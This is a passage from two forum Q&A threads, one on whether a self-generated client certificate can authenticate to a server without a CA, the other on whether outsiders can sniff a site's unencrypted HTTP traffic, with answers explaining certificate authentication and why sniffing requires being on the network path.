Client is at Kali Linux Environment.

Is there somehow to generate my own client-certificate that would be accepted by the server without any CA?

In general no. A client certificate is required by a server for authentication of the client. It is in a way similar to a username and password. The idea of creating your own client certificate which should be accepted by the server is similar to the idea that you can just make up your own username and password and the server will just accept it (without having a user with this name and password).

In practice there might be servers which don't actually care what certificate was send or accept even if no certificate was send. These are usually either misconfigured or require some additional authentication in case the provided certificate does not match their expectations.

If you run your own server you could of course configure it so that it accepts arbitrary certificates. And there are lots of sites out there which show how to create a self-signed certificates. The instructions there have nothing to do with what you show in your question though so I'm not sure what you really tried.


tcpdump traffic to a remote host? I unfortunately have to work with a publicly accessible 3rd party badwebsite.example.com where only the login form is served via HTTPS. The inbox, messenger, tickets queue - all go through HTTP. Is there some magic

tcpdump -As0 host badwebsite.example.com and tcp port http

voodoo that would allow someone who is neither in mine nor the host's network to sniff that traffic? I'm not talking about hacks, MITM, DNS injections, etc., just general sniffing of any unsecured website. I can't imagine how it would be possible since the traffic doesn't go through the aggressor's machine but I've been told it's unacceptable "for obvious reasons".

To sniff traffic you must either have access to a system on the path or you must be able to redirect the routing of the IP packets in a way you get on the path.

Both is common for unauthorized access. Most routers and servers allow to trigger dumping or redirection of traffic.

You asked for doing that without cracking so there is no threat in your very specific scenario.

BTW: I personally think threats often come from the local network. It is not unlikely that persons in a local network with access to sniffing has the biggest incentive to invade privacy (because they actually know the targets personally). This can be true for household, school or work settings. Sniffing in that setting would be immoral (and most likely illegal) as well, but it does not always require specific system hacking.